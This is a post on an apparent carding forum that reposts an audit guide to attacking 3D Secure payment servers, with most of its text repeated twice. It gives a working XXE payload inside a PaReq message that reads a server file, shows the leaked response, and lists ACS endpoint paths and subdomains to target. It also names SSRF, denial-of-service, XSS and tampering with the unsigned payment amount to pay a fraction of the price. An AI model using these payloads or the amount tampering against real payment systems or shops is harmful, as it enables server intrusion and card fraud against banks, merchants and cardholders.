Carding 4 Carders
Professional
- Messages
- 2,728
- Reaction score
- 1,574
- Points
- 113
One of the protocols used to increase the security of online payments is 3D Secure. This is a Protocol that was developed based on XML as an additional layer of security for payments made without the physical participation of the card (card not present payment). VISA created the first version of this Protocol, but soon it was used by other companies (Master Card, JCB International, AmEx, Mir), which later merged with VISA to form the EMV Commonwealth. EMV supports and develops the 3DS Protocol.
Why is the 3D Secure Protocol called this way?
The full name of this Protocol is Three Domain Secure.
The first domain - the Issuer's domain-is the bank that issued the used card.
The second domain - the acquirer's domain - is the bank and seller to whom the money is paid.
The third domain is the interoperability domain, which is the infrastructure used for card payments (credit, debit, prepaid, or other types of payment cards) to support the 3D Secure Protocol. It includes the Internet, merchant plug-in, access control server, and other software vendors.
Why is this necessary?
3D Secure provides a new level of security by providing additional information.
Another important point is the "transfer of responsibility". This means that in the event of fraud, the entire responsibility falls on the issuing Bank. This point is very important for the seller( merchant), because before the advent of 3D Secure, the merchant had to deal with the settlement of disputes.
Also, don't forget about two important psychological aspects: increasing trust in online payments and increasing conversions.
The conversion rate can be increased by updating the 3DS Protocol to reduce user interaction.
Versions of the 3D Secure Protocol
Currently, most payment services use version 1.0.2 when making online CNP payments that request an OTP code.
Version 1.0.2 was created in 2001 and it has some problems.
At the moment, the current version is v2. 2, and EMV plans that by the end of 2020 it will be used everywhere.
How does it work?
This is the basic diagram needed to understand the entire 3ds payment process.
In this figure, we can see all three domains used in the Protocol, as well as the sequence of messages between all participants in the payment transaction.
How does it work?
The main thing you need to understand is that when using your card (virtual or real) for online payment, you are faced with the 3DS Protocol. So now we will illustrate all the stages of making an online payment.
1 - the Buyer has already added all the necessary products to the shopping cart and clicked the " Pay " button. At this point, the user gets to the MPI service page, where they enter their Bank card details.
After clicking the payment button, the merchant (MPI) initializes the start of the payment flow and, according to the Protocol, sends a CRReq request (Card Range Request). This request is necessary to find the issuing Bank of your card and get the CRR from the interaction domain. This request is of little interest to us. After that, MPI sends a VeReq (Verification Request). This request is sent to the issuing Bank to verify that 3DS is enabled for this card and the card can be used for payment. VeRes (Verification Response) contains additional information for the next payment stage. Clients cannot see these two types of messages.
2 - MPI creates a PaReq (Payment Request) request for payment. This request is sent via a redirect in the client's browser. As a result of sending PaReq, a request for entering an OTP code is displayed.
3 - the Customer enters the OTP code and returns to the merchant's website. Again, during this process, PaRes (Payment Response) is transmitted via a redirect from the issuing Bank to MPI, which contains information about the verification status.
And in more detail?
CRReq/CRRes are not very important for us. But VeReq/VeRes should be considered.
In VeReq, the most important parameter is the message ID, merchant information, and PAN card information.
VeRes returns the message idthat is needed to match the request with this response. And status enrolled indicates that the card is supported.
However, the most important parameter in this message is the URL. This parameter specifies where the acquirer's ACS server is located and where to send the PaReq.
Pareq
The browser of the client making the payment can make quite a lot of redirects for various components involved in making the payment. For example, in Russia, there are a certain number of requests that are processed on the side of the National Payment Card System. But today we are only interested in the traditional stage described in the Protocol specification. Namely, the PaReq transfer stage.
A payment request containing the PaReq (POST method) has three parameters::
1) MD-seller's data. MPI needs it to map the PaReq and PaRes of a single transaction;
2) PaReq-parameter of this payment request. It contains all the important information about the payment;
3) TermUrl - the URL to which the client will be returned at the end of the 3D Secure authentication process.
The TermURL and MD parameters are always reflected in the response to this request. Therefore, ACS implementations that are vulnerable to reflected XSS attacks may occur. During the audit of various systems, such servers were found.
Important point #1: ACS servers process all incoming Pareqs!
What is included in the PaReq parameter?
You can get its value by decoding PaReq. This is quite easy to do, because PaReq is Xml - > zlib - > > base64 -> > > urlencode. To simplify working with these queries, a plugin for burp was written.
Now we can see what PaReq really is, namely an xml message. This message contains information about the payment amount (purchAmount, amount, and currency), some information about the merchant, and MessageId (from VeReq).
If you send a well-formed PaReq (in most cases, you don't need the full set of payment requests - you only need to send a PaReq containing parameters of the correct type and length), we will receive a PaRes response to the payment similar to the following:
The first thought that might occur to a web researcher who sees an XML request is to try executing XXE. And this is the right way!
But first, let's look at what happens if you send an incorrectly formed PaReq. We will get an error! Here are some examples of such errors:
This error can help you get more information about the ACS version. Some of them may also be useful for getting data from XXE.
Let's promote XXE
Consider the following example:
acqBIN, merID, xid, date, purchAmount, and currency are reflected in PaRes. However, in all the ACS implementations that we found, only merID was used. All other parameters are checked for matching data types.
Another interesting parameter (and the most useful one for an attack) is the URL. This parameter is not reflected, but it is also not checked. Therefore, it can be used for XXE operation.
Let's go back to our example. In one of the ACS implementations, we found that we can read short files and also get a response in PaRes error via the merID parameter. Thus, using the PaReq from the example above, we got the following response::
However, in most cases, all that remained was to use the URL parameter to get a DNS or HTTP request to our service. Another vector is to execute DOS through the XXE attack " billion laughs "(tested on a test server).
Where can I find it?
In the course of our research, we found several common URLS:
And common subdomain names:
However, sometimes you can find other interesting ways.
If you want to find something new, use proxy interceptor and record the payment process for the payment system you are interested in.
3D Secure v 2. *
As we wrote earlier, there are some issues with 3DS v1.0.
The main problem is that the buyer can use many different types of devices. Tablet, mobile phone, smart watch, smart kettle, etc. But the ACS site is not always designed to interact with all types of devices.
For this purpose, 3DS 2.0 has provided the 3DS SDK.
Another problem is that the new type of protection requires additional interaction with the client. And this moment affects the conversion rate. The solution to the conversion problem was the possibility of using a risk management mechanism, which allows you not to force the user to enter additional secret data, if the Bank has enough information to confirm the client's identity.
The next important point is that authentication technologies are evolving. Accordingly, 3DS could use more than just OTP. Therefore, v2 was conceived with the possibility of expanding support for various authentication mechanisms.
Interesting fact about v1. 0. People in some countries didn't trust this Protocol because they saw the redirect and thought it was a Scam!
This psychological moment was the reason for changing the specification of the second version of the Protocol to hide the moment of redirection.
How does 3D Secure v2 work?
The start of the payment flow is similar to the previous version. The client must provide their bank card details.
The first and most important point is the Risk Engine. In version 1.0.2, clients must always enter a second factor, such as OTP. However, in version 2.*, the client may never see this additional secure request.
Features of v2 operation
If you look at the payment flow diagram, you will see that it is similar to the previous one, but in the 2nd version there are more stages. This is done by adding additional authentication requests and the Risk Engine, which can make either one additional request (when paying via the browser) or multiple requests (using the 3DS SDK).
By Convention, the 2nd version can be divided into two blocks. Red, where the user directly influences the transmitted information, and yellow, where the system itself collects and transmits information about the user.
And in more detail?
AReq (base64url) tells you everything about you and the device from which the purchase was made.
If you think about what information advertising agencies have about you, you won't be surprised by AReq's data. But if you think this is a bad thing, consider this: banks know everything about your purchases and about you. From this point of view, some additional information isn't too bad)
This message is necessary for the risk management system to work and simplify purchases. If this information is not sufficient, Risk Engine will first try to get additional information, and this is when the client can receive an OTP request.
What does the user control?
CReq (base64url json) - challenge request-a message sent by the user's browser if ARes returns a message about the need to perform a Challenge Flow.
If the payment process uses the 3D Secure SDK, this message will be encrypted (JWE).
In CReq, you can see the following fields:
Unfortunately, we have not yet managed to conduct a sufficiently detailed study of the 2nd version of the 3DS Protocol, so it is difficult to say which vulnerabilities are more common. You may be the first person to publish research on this topic.
Let's sum up the results. Problems (found and possible)
What to watch in v1
What to look at in v2
Useful links
github.com
P.S. you May have come up with a question: "I used AliExpress, Amazon, other, and I didn't get an OTP code. Was 3DS used here?" No, it wasn't used. These are just examples of cases where the store takes responsibility for fraudulent transactions.
Why is the 3D Secure Protocol called this way?
The full name of this Protocol is Three Domain Secure.
The first domain - the Issuer's domain-is the bank that issued the used card.
The second domain - the acquirer's domain - is the bank and seller to whom the money is paid.
The third domain is the interoperability domain, which is the infrastructure used for card payments (credit, debit, prepaid, or other types of payment cards) to support the 3D Secure Protocol. It includes the Internet, merchant plug-in, access control server, and other software vendors.
Why is this necessary?
3D Secure provides a new level of security by providing additional information.
Another important point is the "transfer of responsibility". This means that in the event of fraud, the entire responsibility falls on the issuing Bank. This point is very important for the seller( merchant), because before the advent of 3D Secure, the merchant had to deal with the settlement of disputes.
Also, don't forget about two important psychological aspects: increasing trust in online payments and increasing conversions.
The conversion rate can be increased by updating the 3DS Protocol to reduce user interaction.
Versions of the 3D Secure Protocol
Code:
v1. 0-2001 - ...
v2. 0-2014-Deprecated
v2. 1-2017
v2. 2-2018Currently, most payment services use version 1.0.2 when making online CNP payments that request an OTP code.
Version 1.0.2 was created in 2001 and it has some problems.
At the moment, the current version is v2. 2, and EMV plans that by the end of 2020 it will be used everywhere.
How does it work?
This is the basic diagram needed to understand the entire 3ds payment process.
In this figure, we can see all three domains used in the Protocol, as well as the sequence of messages between all participants in the payment transaction.
How does it work?
The main thing you need to understand is that when using your card (virtual or real) for online payment, you are faced with the 3DS Protocol. So now we will illustrate all the stages of making an online payment.
1 - the Buyer has already added all the necessary products to the shopping cart and clicked the " Pay " button. At this point, the user gets to the MPI service page, where they enter their Bank card details.
After clicking the payment button, the merchant (MPI) initializes the start of the payment flow and, according to the Protocol, sends a CRReq request (Card Range Request). This request is necessary to find the issuing Bank of your card and get the CRR from the interaction domain. This request is of little interest to us. After that, MPI sends a VeReq (Verification Request). This request is sent to the issuing Bank to verify that 3DS is enabled for this card and the card can be used for payment. VeRes (Verification Response) contains additional information for the next payment stage. Clients cannot see these two types of messages.
2 - MPI creates a PaReq (Payment Request) request for payment. This request is sent via a redirect in the client's browser. As a result of sending PaReq, a request for entering an OTP code is displayed.
3 - the Customer enters the OTP code and returns to the merchant's website. Again, during this process, PaRes (Payment Response) is transmitted via a redirect from the issuing Bank to MPI, which contains information about the verification status.
And in more detail?
CRReq/CRRes are not very important for us. But VeReq/VeRes should be considered.
Code:
<?xml version="1.0" encoding="UTF-8"?>
<ThreeDSecure>
<Message id="999">
<VEReq>
<version>1.0.2</version>
<pan>4444333322221111</pan>
<Merchant>
<acqBIN>411111</acqBIN>
<merID>99000001</merID>
<password>99000001</password>
</Merchant>
<Browser>
<deviceCategory>0</deviceCategory>
<accept>*/*</accept>
<userAgent>curl/7.27.0</userAgent>
</Browser>
</VEReq>
</Message>
</ThreeDSecure>In VeReq, the most important parameter is the message ID, merchant information, and PAN card information.
Code:
<?xml version="1.0" encoding="UTF-8"?>
<ThreeDSecure>
<Message id="999">
<VERes>
<version>1.0.2</version>
<CH>
<enrolled>Y</enrolled>
<acctID>A0fTY+pKUTu/6hcZWZJiAA==</acctID>
</CH>
<url>https://dropit.3dsecure.net:9443/PIT/ACS</url>
<protocol>ThreeDSecure</protocol>
</VERes>
</Message>
</ThreeDSecure>VeRes returns the message idthat is needed to match the request with this response. And status enrolled indicates that the card is supported.
However, the most important parameter in this message is the URL. This parameter specifies where the acquirer's ACS server is located and where to send the PaReq.
Pareq
The browser of the client making the payment can make quite a lot of redirects for various components involved in making the payment. For example, in Russia, there are a certain number of requests that are processed on the side of the National Payment Card System. But today we are only interested in the traditional stage described in the Protocol specification. Namely, the PaReq transfer stage.
Code:
URL: https://site.ru/acs/pareq
MD=5ebde4d3-3796-7a4d-5ebd-e4d300003dd0&PaReq=eJxVUstywjAM%2FBUm98QPDDiMcIc2dMoh0AedKb2ljiDpNAFMUgJfXzuFPnzSrjQraWW4aoqPzieafb4pRx4LqNfBUm%2FSvFyPvOfFrS%2B9KwWLzCBGT6hrgwpi3O%2BTNXbydOS96VDocEX9FePaF1IIPwlF6qeoV7Inqeyh9hTcjx9xp%2BDcSNk%2BAQdygVbR6CwpKwWJ3l1PZ0rwQZ9SIGcIBZpppAaSuse7POwC%2BeagTApUy%2FEsmrwE8Xw2WQJpKdCbuqzMUfWFLb4AqM2HyqpqOyTkcDgExabEY3BMyhSbwNRAXB7I70D3tYv2Vq%2FJUzU7Teg8ejjE7xMWn9Z8Hk35fKEtNx4BcRWQJhUqTplklIoOC4c9NuwOgLQ8JIUbRDHK2vW%2BEWxdk%2FG%2F1F8KrO%2FGnuWyywUBNls7v62wZv7EQH5nvrlzlurKGsUGNOwy0ZfhXf5udlkmV7ey98rfmnjpjG6LnGJubeKUslbSASBOhpxvSM7nt9G%2Fb%2FEFnkK9RA%3D%3D&TermUrl=https%3A%2F%shop.ru%2Fgates%2F3dsA payment request containing the PaReq (POST method) has three parameters::
1) MD-seller's data. MPI needs it to map the PaReq and PaRes of a single transaction;
2) PaReq-parameter of this payment request. It contains all the important information about the payment;
3) TermUrl - the URL to which the client will be returned at the end of the 3D Secure authentication process.
The TermURL and MD parameters are always reflected in the response to this request. Therefore, ACS implementations that are vulnerable to reflected XSS attacks may occur. During the audit of various systems, such servers were found.
Important point #1: ACS servers process all incoming Pareqs!
What is included in the PaReq parameter?
You can get its value by decoding PaReq. This is quite easy to do, because PaReq is Xml - > zlib - > > base64 -> > > urlencode. To simplify working with these queries, a plugin for burp was written.
Now we can see what PaReq really is, namely an xml message. This message contains information about the payment amount (purchAmount, amount, and currency), some information about the merchant, and MessageId (from VeReq).
If you send a well-formed PaReq (in most cases, you don't need the full set of payment requests - you only need to send a PaReq containing parameters of the correct type and length), we will receive a PaRes response to the payment similar to the following:
The first thought that might occur to a web researcher who sees an XML request is to try executing XXE. And this is the right way!
But first, let's look at what happens if you send an incorrectly formed PaReq. We will get an error! Here are some examples of such errors:
Code:
<ThreeDSecure><Message id="poEpShmja0A36YWe0JOyr4Zt"><Error><version>1.0.2</version><errorCode>99</errorCode><errorMessage>Permanent system failure.</errorMessage><errorDetail>Failed to build error message.</errorDetail></Error></Message></ThreeDSecure>
<errorCode>5</errorCode><errorMessage>Format of one or more elements is invalid according to the specification.</errorMessage>
<errorCode>98</errorCode><errorMessage>Transient system failure</errorMessage>
<errorCode>4</errorCode><errorMessage>Critical element not recognized</errorMessage>This error can help you get more information about the ACS version. Some of them may also be useful for getting data from XXE.
Let's promote XXE
Consider the following example:
Code:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE ThreeDSecure [<!ENTITY ac SYSTEM "file:///proc/sys/kernel/hostname">]><ThreeDSecure><Message id=“123-123-123-123-123-123"><PAReq><version>1.0.2</version><Merchant><acqBIN>510069</acqBIN><merID>∾</merID><name>MerchantName</name><country>643</country><url>http://asdas.as</url></Merchant><Purchase><xid>U3Vic2NyaWJlX0B3ZWJyMGNr</xid><date>20181004 21:34:21</date><amount>202000</amount><purchAmount>202000</purchAmount><currency>643</currency><exponent>2</exponent><desc>AcquirerName</desc></Purchase><CH><acctID>DYasdVQAOX6as3dfcxccwzPCR6Q74eS5</acctID><expiry>2209</expiry></CH></PAReq></Message></ThreeDSecure>acqBIN, merID, xid, date, purchAmount, and currency are reflected in PaRes. However, in all the ACS implementations that we found, only merID was used. All other parameters are checked for matching data types.
Another interesting parameter (and the most useful one for an attack) is the URL. This parameter is not reflected, but it is also not checked. Therefore, it can be used for XXE operation.
Let's go back to our example. In one of the ACS implementations, we found that we can read short files and also get a response in PaRes error via the merID parameter. Thus, using the PaReq from the example above, we got the following response::
Code:
<ThreeDSecure><Message id=" 123-123-123-123-123-123 "><PARes id=" 123-123-123-123-123-123 "><version>1.0.2</version><Merchant><acqBIN>510069</acqBIN>
<merID>ACS server name</merID>
</Merchant><Purchase><xid>U3Vic2NyaWJlX0B3ZWJyMGNr</xid><date>20181004 21:34:21</date><purchAmount>202000</purchAmount><currency>643</currency><exponent>2</exponent></Purchase><pan>000000000000000</pan><TX><time>20181004 21:34:21</time><status>U</status></TX><IReq><iReqCode>55</iReqCode><iReqDetail>PAReq.CH.acctID</iReqDetail></IReq></PARes></Message></ThreeDSecure>However, in most cases, all that remained was to use the URL parameter to get a DNS or HTTP request to our service. Another vector is to execute DOS through the XXE attack " billion laughs "(tested on a test server).
Where can I find it?
In the course of our research, we found several common URLS:
Code:
/acs/pareq/___uid___
/acspage/cap?RID=14&VAA=B
/way4acs/pa?id=____id____
/PaReqVISA.jsp
/PaReqMC.jsp
/mdpayacs/pareq
/acs/auth/start.doAnd common subdomain names:
Code:
acs
3ds
3ds
secure
cap
payments
ecm
3dsauth
testacs
cardHowever, sometimes you can find other interesting ways.
If you want to find something new, use proxy interceptor and record the payment process for the payment system you are interested in.
3D Secure v 2. *
As we wrote earlier, there are some issues with 3DS v1.0.
The main problem is that the buyer can use many different types of devices. Tablet, mobile phone, smart watch, smart kettle, etc. But the ACS site is not always designed to interact with all types of devices.
For this purpose, 3DS 2.0 has provided the 3DS SDK.
Another problem is that the new type of protection requires additional interaction with the client. And this moment affects the conversion rate. The solution to the conversion problem was the possibility of using a risk management mechanism, which allows you not to force the user to enter additional secret data, if the Bank has enough information to confirm the client's identity.
The next important point is that authentication technologies are evolving. Accordingly, 3DS could use more than just OTP. Therefore, v2 was conceived with the possibility of expanding support for various authentication mechanisms.
Interesting fact about v1. 0. People in some countries didn't trust this Protocol because they saw the redirect and thought it was a Scam!
This psychological moment was the reason for changing the specification of the second version of the Protocol to hide the moment of redirection.
How does 3D Secure v2 work?
The start of the payment flow is similar to the previous version. The client must provide their bank card details.
The first and most important point is the Risk Engine. In version 1.0.2, clients must always enter a second factor, such as OTP. However, in version 2.*, the client may never see this additional secure request.
Features of v2 operation
If you look at the payment flow diagram, you will see that it is similar to the previous one, but in the 2nd version there are more stages. This is done by adding additional authentication requests and the Risk Engine, which can make either one additional request (when paying via the browser) or multiple requests (using the 3DS SDK).
By Convention, the 2nd version can be divided into two blocks. Red, where the user directly influences the transmitted information, and yellow, where the system itself collects and transmits information about the user.
And in more detail?
AReq (base64url) tells you everything about you and the device from which the purchase was made.
If you think about what information advertising agencies have about you, you won't be surprised by AReq's data. But if you think this is a bad thing, consider this: banks know everything about your purchases and about you. From this point of view, some additional information isn't too bad)
This message is necessary for the risk management system to work and simplify purchases. If this information is not sufficient, Risk Engine will first try to get additional information, and this is when the client can receive an OTP request.
What does the user control?
CReq (base64url json) - challenge request-a message sent by the user's browser if ARes returns a message about the need to perform a Challenge Flow.
Code:
{
"ThreeDSServerTransID": "8a880dc0-d2d2-4067-bcb1-b08d1690b26e",
"AcsTransID": "d7c1ee99-9478-44a6-b1f2-391e29c6b340",
"MessageType": "CReq",
"MessageVersion": "2.1.0",
"SdkTransID": "b2385523-a66c-4907-ac3c-91848e8c0067",
"SdkCounterStoA": "001"
}If the payment process uses the 3D Secure SDK, this message will be encrypted (JWE).
In CReq, you can see the following fields:
Unfortunately, we have not yet managed to conduct a sufficiently detailed study of the 2nd version of the 3DS Protocol, so it is difficult to say which vulnerabilities are more common. You may be the first person to publish research on this topic.
Let's sum up the results. Problems (found and possible)
What to watch in v1
- XXE in the Pareq
OS parameter - reading a file
- ssrf
- XSS in the TermUrl parameters
- Blind XSS - all parameters and headers are sent to the monitoring system
- Pareq is not signed, but it has a price! This can lead to an attack on the store, because if the store does not check the amount of the confirmed transaction, then you can make a purchase of things worth 100 rubles for 1P.
What to look at in v2
- Blind XSS - all parameters and headers are sent to the monitoring system
- Challenge flow, the main thing is to catch it…
Useful links
GitHub - webr0ck/3D-Secure-audit-cheatsheet
Contribute to webr0ck/3D-Secure-audit-cheatsheet development by creating an account on GitHub.
github.com
P.S. you May have come up with a question: "I used AliExpress, Amazon, other, and I didn't get an OTP code. Was 3DS used here?" No, it wasn't used. These are just examples of cases where the store takes responsibility for fraudulent transactions.
